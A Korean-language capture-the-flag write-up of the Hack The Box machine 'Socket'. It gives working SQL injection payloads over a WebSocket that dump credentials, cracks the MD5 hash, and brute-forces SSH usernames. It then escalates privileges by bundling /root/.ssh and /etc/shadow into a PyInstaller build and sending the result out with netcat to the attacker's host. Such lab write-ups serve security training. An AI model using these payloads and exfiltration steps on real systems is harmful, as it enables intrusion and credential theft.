Security

HTB Socket

HTB Socket

1. nmap

nmap 을 실행하자.

Copy
nmap -sC -sV -oA nmap/socket 10.10.11.206

Test Image

qreader.htb로 redirect 되므로 etc/hosts 파일에 아래와 같이 수정하자.

Test Image

2. qreader 앱 조사

http://qreader.htb 로 들어가서 linux app 를 다운로드 하자.

~/htb/socket 폴더에서 압축을 풀자.

Copy
unzip QReader_lin_v0.0.2.zip

실행하면 실행이 된다.
Copy
./qreader
Copy
strings qreader | less

strings 명령어는 주어진 파일에서 인식 가능한 문자열을 추출하는 도구입니다.
strings 명령어를 사용하여 qreader 파일에 있는 문자열을 추출하고, less 명령어를 사용하여 페이지 단위로 출력하고 탐색할 수 있습니다.
less 명령어는 텍스트 파일을 페이지 단위로 표시하고 탐색할 수 있는 터미널 기반의 페이저입니다.
less를 사용하면 strings qreader 명령어의 출력을 페이지 단위로 스크롤하며 확인할 수 있습니다.
스크롤하기 위해서는 키보드의 화살표 키나 Page Up/Page Down 키를 사용할 수 있습니다.
less 명령어를 종료하려면 ‘q’ 키를 누르면 됩니다.

/ 를 누른후 Py 를 검색해 보자.

python 설치 프로그램 실행파일 이므로 디컴파일 할수 있다.

디컴파일은 뒤로 미루고 다른 방법을 시도해 보자.

qreader 를 실행하고 About > Version 을 클릭하면 error가 발생한다.

서버에 접속하지 못하는 오류 같으니 wireshark 를 실행해서 패킷 캡쳐를 해보자.

아래와 같이 dns 프로토콜을 확인해 보면 ws.qreader.htb 를 찾지 못하는 것을 알수 있다.

Test Image

/etc/hosts 파일에 아래와 같이 추가하면 서버에 접속되고 version 정보가 하단에 출력된다.

Test Image

wireshark 를 실행하고 패킷을 조사하면 서버의 목적지 포트 번호를 확인할수 있다.

Test Image


접속이 되는지 확인해보자.

Copy
nc -zv 10.10.11.206 5789

명령어 nc -zv 10.10.11.206 5789는 10.10.11.206 IP 주소의 5789 포트에 연결을 시도하고 연결이 성공하면 포트 상태를 출력합니다.

nc는 네트워크 연결을 생성하고 유지하는 데 사용되는 명령줄 유틸리티입니다.

-z 옵션은 연결을 테스트하고 즉시 종료하는 데 사용됩니다.

-v 옵션은 연결에 대한 자세한 정보를 출력하는 데 사용됩니다.

이 명령어는 공격자가 원격 호스트의 포트 상태를 확인하는 데 사용할 수 있습니다. 포트가 열려 있으면 공격자는 원격 호스트에 연결하여 데이터를 수신하거나 보내거나 원격 호스트의 서비스를 제어할 수 있습니다.

이 명령어는 또한 네트워크 관리자가 네트워크의 보안을 모니터링하는 데 사용할 수 있습니다. 열린 포트가 감지되면 공격자가 네트워크에 침입할 수 있는 가능성이 있음을 나타냅니다.

위에서 nc 로 확인해 보면 접속이 가능하다.

wireshark 패킷 조사는 더이상 의미가 없으므로 이제 멈추고 burpsuite 에서 캡쳐를 하도록 하자.

아래와 같이 /etc/hosts 파일을 수정해서 ws.qreader.htb 에 대한 요청을 burpsuite 로 보내자.

Test Image

아래와 같이 burpsuite proxy setting 으로 들어가서 Add 를 누른후 포트번호, 아이피 주소 등을 추가하자.

Test Image

Test Image

Test Image

qreader 에서 version 을 누르면 아래와 같이 burpsuite WebSocketshistory 에서 확인해 볼수 있다.

Test Image

Test Image

Repeater 로 보내자.

Test Image

3. sql injection

sql injection 을 확인해 보자.

Test Image

Test Image

Reconnect 를 누르면서 sql injection을 확인하는게 번거로우니 방법을 바꿔보자.

google 에서 websocat 을 검색해서 github 으로 들어가자.

Releases 에서 websocat_max.x86_64-unknown-linux-musl 파일을 다운로드 하자.

Copy
chmod +x websocat_max.x86_64-unknown-linux-musl

input 파일을 만들고 아래 내용을 입력하자.
Copy
{"version":"0.0.1"}

watch 을 이용해서 명령어를 1 초마다 실행하자.
Copy
watch -n 1 "./websocat ws://10.10.11.206:5789/version < input"

위에 명령어는 주어진 간격으로 명령어 또는 스크립트의 출력을 주기적으로 모니터링하는 데 사용되는 watch 명령어를 실행하는 것입니다.

  • -n 1: 갱신 간격을 1초로 설정합니다. 즉, 1초 마다 watch 명령어는 명령어 또는 스크립트를 실행하고 출력을 업데이트합니다.

실제로 실행되는 명령어 또는 스크립트는 “. /websocat ws://10.10.11.206:5789/version < input”입니다. 이 부분은 따옴표로 둘러싸여 있으며, watch 명령어에 의해 주기적으로 실행됩니다.

Test Image

input 파일에서 페이로드를 변경해 보자.

Copy
{"version": "0.0.1\"-- -"}

“version” 필드의 값은 “0.0.1”— -“입니다. 해석해보면, 이 JSON 페이로드는 version 필드의 값을 “0.0.1”— -“로 설정하고 있습니다. 이 값에 몇 가지 주목할만한 요소가 있습니다:

  • ”: 이것은 이스케이프 문자로, 쌍따옴표(“)를 JSON 문자열 안에서 특수 문자로 처리하는 데 사용됩니다.
  • —: 이것은 SQL 주석입니다. 두 개의 하이픈(—)으로 시작하면, 그 뒤의 모든 텍스트는 주석으로 처리되어 SQL 쿼리에 영향을 주지 않습니다.
  • -: 이것은 하이픈 기호 하나로, SQL 주석의 마지막 부분을 강조하는 것으로 보입니다.

따라서, 이 JSON 페이로드는 SQL 인젝션을 시도할 때 version 필드에 주석을 삽입하여, 해당 필드 이후의 SQL 쿼리 부분을 무시하려고 시도하는 것으로 추측됩니다.
주로 SQL 주석은 데이터베이스에서 쿼리를 실행하는 동안 악의적인 쿼리를 삽입하거나 쿼리를 종료하기 위해 사용될 수 있습니다.
SQL 주석의 사용은 보안 취약점으로 간주되며, 적절한 입력 유효성 검사 및 방어 메커니즘을 사용하여 방지해야 합니다.

Test Image

Test Image


jq를 이용해서 JSON 형식을 보기 좋게 출력해보자.

Copy
watch -n 1 "./websocat ws://10.10.11.206:5789/version < input | jq ."

Test Image

아래 그림처럼 sql version을 확인해 보자.

Test Image

Copy
{"version":"0.0.1\" union select 1,(SELECT GROUP_CONCAT(sql) from SQLITE_MASTER),3,4-- -"}

“version” 필드의 값은 “0.0.1” union select 1,(SELECT GROUP_CONCAT(sql) from SQLITE_MASTER),3,4— -“입니다. 해석해보면, 이 JSON 페이로드는 version 필드의 값을 “0.0.1” union select 1,(SELECT GROUP_CONCAT(sql) from SQLITE_MASTER),3,4— -“로 설정하고 있습니다. 이 값에는 몇 가지 주목할만한 요소가 있습니다:

”: 이스케이프 문자로, 쌍따옴표(“)를 JSON 문자열 안에서 특수 문자로 처리하는 데 사용됩니다. union select 1,(SELECT GROUP_CONCAT(sql) from SQLITE_MASTER),3,4: 이 부분은 SQL 쿼리의 UNION SELECT 문입니다. 이 쿼리는 테이블간에 데이터를 결합하고 선택된 결과를 반환합니다. 여기서는 SQLITE_MASTER 테이블의 “sql” 열을 GROUP_CONCAT 함수를 사용하여 모든 값을 하나의 문자열로 결합하고 있습니다. —: 이것은 SQL 주석으로, 이후의 모든 텍스트를 주석 처리하여 쿼리에 영향을 주지 않습니다. -: 이것은 하이픈 기호 하나로, SQL 주석의 마지막 부분을 강조하는 것으로 보입니다. 따라서, 이 JSON 페이로드는 SQL 인젝션을 시도할 때 version 필드에 UNION SELECT 문을 삽입하여 데이터베이스에서 테이블 및 열 정보를 추출하려는 것으로 추측됩니다. 이를 통해 데이터베이스 구조를 확인하고 악의적인 목적으로 사용할 수 있는 취약점이 존재할 수 있습니다.

Test Image

출력된 sql을 table_structure에 저장하자.

Test Image

다음 명령어를 실행해서 보기 좋게 화면에 출력하자.

Test Image

Copy
cat table_structure |sed 's/),/),\r\n/g'
  • sed: 스트림 편집기로, 주어진 텍스트를 수정하는 데 사용되는 명령어입니다.
  • ‘s/),/),\r\n/g’: sed 명령어의 스크립트 부분입니다. 여기서는 텍스트에서 ”),” 문자열을 찾아 ”),” 뒤에 개행 문자(\r\n)를 추가하여 대체합니다. g 플래그는 해당 패턴을 전체 텍스트에서 모두 찾아 대체하라는 의미입니다.

따라서, 위의 명령어는 “table_structure”라는 파일의 내용을 출력한 후, 출력된 내용에서 ”),” 문자열을 찾아 ”),” 뒤에 개행 문자를 추가하여 출력합니다. 이를 통해 파일의 내용을 구분하여 각 ”),” 문자열이 개행으로 구분된 형식으로 출력합니다. 이러한 형식은 일부 데이터베이스나 다른 프로그램에서 테이블 구조를 읽고 해석하기 쉽게 만들어 줄 수 있습니다.

Copy
sed 's/),/),\r\n/g' -i table_structure 
  • sed: 스트림 편집기로, 주어진 텍스트를 수정하는 데 사용되는 명령어입니다.
  • ‘s/),/),\r\n/g’: sed 명령어의 스크립트 부분입니다. 여기서는 텍스트에서 ”),” 문자열을 찾아 ”),” 뒤에 개행 문자(\r\n)를 추가하여 대체합니다. g 플래그는 해당 패턴을 전체 텍스트에서 모두 찾아 대체하라는 의미입니다.
  • -i: sed 명령어의 옵션으로, 원본 파일을 직접 수정하는 “in-place” 수정을 수행합니다. 이 옵션을 사용하면 파일의 내용이 변경됩니다.
  • table_structure: 수정하고자 하는 대상 파일의 이름입니다.

따라서, 위의 명령어는 “table_structure”라는 파일의 내용을 수정합니다. 명령어가 실행되면 ”),” 문자열을 찾아 ”),” 뒤에 개행 문자를 추가하여 해당 파일의 내용을 수정합니다. 변경된 내용은 원본 파일에 직접 적용됩니다. 이를 통해 파일의 내용을 구분하여 각 ”),” 문자열이 개행으로 구분된 형식으로 수정할 수 있습니다.

Test Image

Copy
{"version":"0.0.1\" union select 1,GROUP_CONCAT(username || ':'|| password),3,4 from users-- -"}
  • “version” 필드의 값은 “0.0.1” union select 1, GROUP_CONCAT(username || ’:’|| password), 3, 4 from users— -“입니다.

해석해보면, 이 JSON 페이로드는 version 필드의 값을 “0.0.1” union select 1, GROUP_CONCAT(username || ’:’|| password), 3, 4 from users— -“로 설정하고 있습니다. 이 값에는 몇 가지 주목할만한 요소가 있습니다:

  • ”: 이스케이프 문자로, 쌍따옴표(“)를 JSON 문자열 안에서 특수 문자로 처리하는 데 사용됩니다.
  • union select 1, GROUP_CONCAT(username || ’:’|| password), 3, 4 from users: 이 부분은 SQL 쿼리의 UNION SELECT 문입니다. 이 쿼리는 다른 테이블의 결과를 현재 쿼리와 합쳐서 반환합니다. 여기서는 “users” 테이블의 “username”과 “password” 열을 합친 문자열을 GROUP_CONCAT 함수로 가져옵니다.
  • —: 이것은 SQL 주석으로, 이후의 모든 텍스트를 주석 처리하여 쿼리에 영향을 주지 않습니다.
  • -: 이것은 하이픈 기호 하나로, SQL 주석의 마지막 부분을 강조하는 것으로 보입니다.

따라서, 이 JSON 페이로드는 SQL 인젝션을 시도할 때 version 필드에 UNION SELECT 문을 삽입하여 “users” 테이블의 사용자 이름과 비밀번호를 가져오려는 것으로 추측됩니다.

Test Image

Copy
echo -n 0c090c365fa0559b151a43e0fea39710 | wc -c

해당 명령어는 echo와 wc 유틸리티를 사용하여 문자열의 길이를 세는 것입니다. 각 명령어의 역할은 다음과 같습니다:

  • -n: echo 명령어의 옵션으로, 개행 문자를 출력하지 않도록 지정합니다.
  • wc: 주어진 텍스트의 특정 정보를 세는 명령어입니다.
  • -c: wc 명령어의 옵션으로, 문자 수를 세도록 지정합니다.

따라서, 위의 명령어는 “0c090c365fa0559b151a43e0fea39710”이라는 문자열의 길이를 세는 것입니다. 명령어가 실행되면 해당 문자열을 출력한 후, wc -c 명령어가 문자 수를 세어 출력합니다. 이를 통해 주어진 문자열의 길이를 알 수 있습니다.

32자리 이므로 MD5 같다.

google 에서 crackstation 을 검색하자.

https://crackstation.net

Test Image

크랙한 암호는 denjanjade122566 이다.

CrackMapExec를 이용해서 ssh 접속을 시도해 보자.

Copy
./cme ssh 10.10.11.206 -u admin -p denjanjade122566

아래 그림 처럼 접속이 안된다.

Test Image


구글에서 SecLists를 검색해서 github 으로 들어가자.

https://github.com/danielmiessler/SecLists

wordlist 를 설치한 후에 gobuster를 이용하자.

Copy
./gobuster dir -u http://qreader.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o gobuster.root
  • ./gobuster: 현재 디렉토리에 위치한 gobuster 실행 파일을 사용합니다. ‘./‘는 현재 디렉토리를 나타냅니다. 실행 파일의 이름이 ‘gobuster’인 것으로 가정합니다.
  • dir: Gobuster의 모드를 지정하는 옵션입니다. ‘dir’ 모드는 디렉토리를 찾는 모드를 의미합니다. 디렉토리 브루트 포스팅을 수행할 것이라는 의미입니다.
  • -u http://qreader.htb: 대상 URL을 지정하는 옵션입니다. Gobuster는 이 URL을 대상으로 디렉토리 브루트 포스팅을 수행할 것입니다. 여기서는 ’http://qreader.htb’를 대상으로 합니다.
  • -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt: 워드리스트 파일의 경로를 지정하는 옵션입니다. Gobuster는 디렉토리와 파일 이름을 추측하기 위해 이 워드리스트 파일을 사용합니다. raft-small-words.txt은 많이 사용되는 디렉토리와 파일 이름이 포함된 워드리스트 파일입니다. 경로는 /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt로 지정됩니다.
  • -o gobuster.root: 결과를 저장할 파일의 경로를 지정하는 옵션입니다. 여기서는 gobuster.root라는 파일에 결과가 저장됩니다.

실행 시, Gobuster는 ’http://qreader.htb’에 대해 raft-small-words.txt 워드리스트를 사용하여 디렉토리 브루트 포스팅을 수행하며, 찾은 결과를 gobuster.root 파일에 저장합니다. 이를 통해 서버에 존재하는 디렉토리를 탐색할 수 있습니다.

아래 그림처럼 reports 테이블 에서 정보를 얻어오자.

Test Image

복사해서 reports 에 붙여넣기 하자.

Test Image

Copy
sed 's/,/,\r\n/g' -i reports
  • sed: 스트림 에디터를 실행합니다. 텍스트를 처리하고 변경하는 강력한 도구입니다.
  • ‘s/,/,\r\n/g’: 이 부분은 ‘치환 패턴’을 나타냅니다. s는 치환(substitute)의 약자이며, 이어지는 / 사이의 패턴을 다른 패턴으로 변경합니다. 여기서는 ,를 , 다음에 캐리지 리턴(\r)과 라인 피드(\n)를 추가하여 치환합니다.

,: 원본 파일에서 바꾸고자 하는 패턴으로 콤마(,)를 의미합니다. ,\r\n: 바꿀 패턴으로, 콤마(,) 다음에 캐리지 리턴과 라인 피드를 의미합니다. 즉, ,를 , 다음에 새로운 줄로 변경합니다. g: 옵션으로, 모든 일치하는 패턴을 전역적으로(globally) 변경합니다. 즉, 파일 내의 모든 ,를 대상으로 치환합니다.

  • -i reports: 파일을 수정하기 위해 -i 옵션을 사용합니다. ‘reports’ 파일을 직접 수정하겠다는 의미입니다.

실행 시, ‘reports’ 파일 내의 모든 ,가 , 다음에 새로운 줄로 치환됩니다. 이를 통해 파일의 내용을 변경할 수 있습니다. 주의할 점은 -i 옵션은 원본 파일을 직접 수정하므로 수정 전에 백업을 해두는 것이 좋습니다.

answers 테이블 에서 정보를 얻어오자.

Test Image

Copy
./websocat ws://10.10.11.206:5789/version < input | jq .[].version -r
  • .: 현재 객체를 나타냅니다. 즉, 입력으로 받은 JSON 데이터의 최상위 레벨에 있는 배열을 가리킵니다.
  • []: 배열을 나타내는 문법으로, . 뒤에 사용하여 배열의 각 요소에 접근하도록 합니다. jq .[]는 배열의 모든 요소들을 하나씩 추출합니다.
  • .version: . 뒤에 .version을 붙여 해당 배열 요소의 version 속성 값을 추출합니다. 위 예시에서는 각 제품의 버전 정보를 의미합니다.
  • -r: raw 모드로 출력하라는 옵션입니다. 이를 사용하면 따옴표를 제거하여 순수한 값만 출력합니다.

결과적으로 jq .[].version -r 명령어는 위의 JSON 데이터에서 각 제품의 버전 값을 추출하여 따옴표 없이 출력하는 역할을 합니다.

Test Image

관리자 이름이 Thomas Keller 라는 것을 알수 있다.

이름과 아이디가 연관이 있다면 tool 을 이용해서 id 를 찾을수 있다.

google 에서 username-anarchy 를 검색하고 github 으로 들어가자.

http://morningstarsecurity.com/research/username-anarchy 로 가면 실행파일을 받을수 있다.

Copy
./username-anarchy Thomas Keller

화면에 출력되는 내용을 복사해서 usernames 파일을 만들자.

Test Image

usernames 파일로 접속을 시도해 보자.

Copy
cme ssh 10.10.11.206 -u usernames -p denjanjade122566

Test Image

tkeller 로 ssh 접속을 시도하면 연결이 된다.

Test Image

아래 부터는 서버 접속이 안되서 (유료 전환) 이미지를 전부 추가 하지 못했다.

아래는 서버에서 이것저것 조사하면서 사용한 명령어 (ps, find) 들이다.

Copy
ps -ef --forest

ps -ef —forest 명령어는 칼리 리눅스 시스템에서 실행 중인 프로세스들의 정보를 트리 구조로 보여주는 명령어입니다.

  • ps: Linux 시스템에서 현재 실행 중인 프로세스 정보를 확인하는 명령어입니다.
  • -ef: ps 명령의 옵션으로, 모든 프로세스를 자세히 (extended format) 보여줍니다.
  • —forest: 이 옵션은 ps 출력 결과를 트리 구조로 표시합니다. 부모 프로세스와 자식 프로세스들의 계층 구조를 시각적으로 확인할 수 있습니다.

ps -ef —forest 명령어를 실행하면, 현재 시스템에서 실행 중인 모든 프로세스들이 트리 구조로 표시되어 나타납니다. 각 프로세스의 PID(Process ID), PPID(Parent Process ID), 실행 사용자, CPU 사용량 등이 포함되어 있습니다. 또한, 부모 프로세스 아래에 해당하는 자식 프로세스들이 들여쓰기로 표시되어 부모-자식 관계를 보기 쉽게 표현합니다. 트리 구조로 표시되는 프로세스 목록은 현재 시스템 상태를 이해하고 디버깅하는 데 유용하며, 프로세스 간의 종속성과 계층을 파악하는 데 도움이 됩니다.

Copy
 find / -group svc 2>/dev/null group
  • -group svc: -group 옵션은 특정 그룹에 속한 파일을 검색할 때 사용되며, svc는 그룹 이름입니다. 이 부분은 특정 그룹에 속한 파일을 찾는 조건으로 사용됩니다.

따라서, 이 명령어는 루트 디렉토리부터 시작하여 svc 그룹에 속한 파일을 검색하고, 오류 메시지를 표시하지 않습니다.

권한 상승을 위해 sudo -l 명령어를 실행하자.

Copy
sudo -l

/usr/local/sbin/build-installer.sh 가 확인이 된다.

build-installer.sh 파일을 확인해 보자.

크게 세 가지 작업을 (build, make, cleanup) 하는 것을 알 수 있다.

먼저 make 로 spec 파일을 만들자.

Copy
sudo /usr/local/sbin/build-installer.sh make abc.py

/tmp/qreader.spec 파일이 생성 되었다.

spec 파일은 root 권한으로 되있어서 수정이 불가능하다.

cp 로 복사하면 현재 유저로 파일을 수정할 수있다.

spec 파일을 보면 data 매개변수가 있는데 이것은 pyinstaller가 실행파일을 만들때 binary 파일이 아닌 다른 파일들을 추가 할수 있는 옵션이다.

아래와 같이 qreader.spec 파일을 수정하자.

Copy
datas =[('/root/.ssh/*','exfil'), ('/root/root.txt','exfil'), ('/etc/shadow','exfil')],   

build 명령어를 실행하자.
Copy
sudo /usr/local/sbin/build-installer.sh build /dev/shm/qreader.spec

/opt/shared/dist 폴더에 qreader 이 생성되었다.

칼리에서 리슨하자.

Copy
nc - lvnp 9001 > greader.exfil
  • -l: 이 옵션은 nc를 리스닝 (listening) 모드로 실행시킵니다. 즉, 다른 컴퓨터나 프로그램에서 연결을 요청하면 해당 포트에서 수신할 준비를 합니다.
  • -v: 이 옵션은 nc의 실행 상태를 더 자세히 출력하도록 해줍니다. verbose 모드로 실행하여 추가 정보를 보여줍니다.
  • -n: 이 옵션은 nc가 DNS 이름 해석을 하지 않도록 합니다. IP 주소를 직접 사용하여 연결을 수행하게 됩니다.
  • -p 9001: 이 옵션은 nc가 9001 포트에서 리스닝하도록 지정합니다. 다른 컴퓨터나 프로그램에서 이 포트로 연결하면 데이터를 수신할 수 있습니다.

이 명령어는 특정 시나리오에서 네트워크로부터 수신된 데이터를 greader.exfil 파일로 저장하는 작업을 수행합니다.

target 에서 다음을 실행해서 파일을 전송하자.

Copy
cat greader |nc 10.10.14.8 9001

cat greader 명령으로 greader 파일의 내용을 읽어와서 nc를 사용하여 10.10.14.8 IP 주소의 호스트의 9001 포트로 데이터를 전송합니다. 이를 통해 greader 파일의 내용이 해당 호스트로 전송되며, 해당 호스트에서는 9001 포트에서 데이터를 수신할 수 있어야 합니다.

전송받은 파일을 확인해 보자.

Copy
file qreader.exfil

혹시 모르니 target qreader 파일의 md5 해쉬값과 칼리에서 전송 받은 qreader.exfil 파일의 md5 해쉬값을 비교해 보자.
Copy
md5sum greader.exfil
  • md5sum: md5sum은 Linux에서 파일의 MD5 해시 값을 계산하는 명령어입니다.
  • greader.exfil: greader.exfil은 파일의 이름입니다. md5sum 명령은 해당 파일의 MD5 해시 값을 계산합니다.

MD5 해시는 원래 128비트(16바이트)로 표현되며, 16진수로 표시됩니다. 파일의 내용이 변경되지 않으면 동일한 파일은 항상 동일한 MD5 해시 값을 가집니다. 이러한 특성은 파일의 무결성을 확인하는 데 사용되며, 파일이 다운로드나 전송 과정에서 손상되지 않았는지 확인하는 데 유용합니다. 하지만 MD5는 보안 측면에서 취약점이 발견되어 현재는 보안 목적으로는 권장되지 않습니다. 파일 무결성 확인과 같은 간단한 용도로는 사용할 수 있지만, 보안적으로 안전한 용도로는 SHA-256, SHA-3 등과 같은 다른 알고리즘을 사용하는 것이 좋습니다.

구글에서 pyinstaller decompile 을 검색하자.

git clone 하자.

Copy
git clone https://github.com/extremecoders-re/pyinstxtractor

decompile 하자.
Copy
python3 pyinstxtractor/pyinstxtractor.py qreader.exfil

qreader.exfil_extracted 폴더로 들어가면 exfil 폴더가 있다.

이 폴더가 위에 data 에서 지정한 파일들이 있는 폴더이다.

이 폴더 안을 보면 root.txt, id_rsa, id_rsa.pub, shadow, authorized_keys 파일들이 있다.

ssh 연결을 해보자.

Copy
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.206 

root 계정으로 접속이 된다.

이제 qreader 앱을 decompile 해보자.

~/HTB/socket/decompile 폴더를 만들고 pyinstxtractor 폴더와 target web 에서 다운 받은 qreader 앱을 복사하자.

다음 명령어를 실행하자.

Copy
python3 pyinstxtractor/pyinstxtractor.py qreader

아래와 같은 에러 메세지가 발생한다.

Test Image

python 버젼이 일치하지 않아서 발생하는 오류이다.

위에서 구글에서 검색해서 들어간 (pyinstaller decompile) 사이트를 보면 decompyle++ 링크를 볼수 있다.

해당 링크로 들어가자.

git clone 하자.

Copy
git clone https://github.com/zrax/pycdc

build 폴더를 만들고 build 하자.
Copy
cd build
cmake ..

cmake 가 없으면 설치하자.
Copy
apt install cmake

다시 실행하자.
Copy
cmake ..
Copy
make

아래 명령어를 실행해서 pyc 파일로 부터 py 소스코드 파일을 만들자.
Copy
./pycdc ~/HTB/socket/decompile/qreader_extracted/qreader.pyc > ~/HTB/socket/qreader.py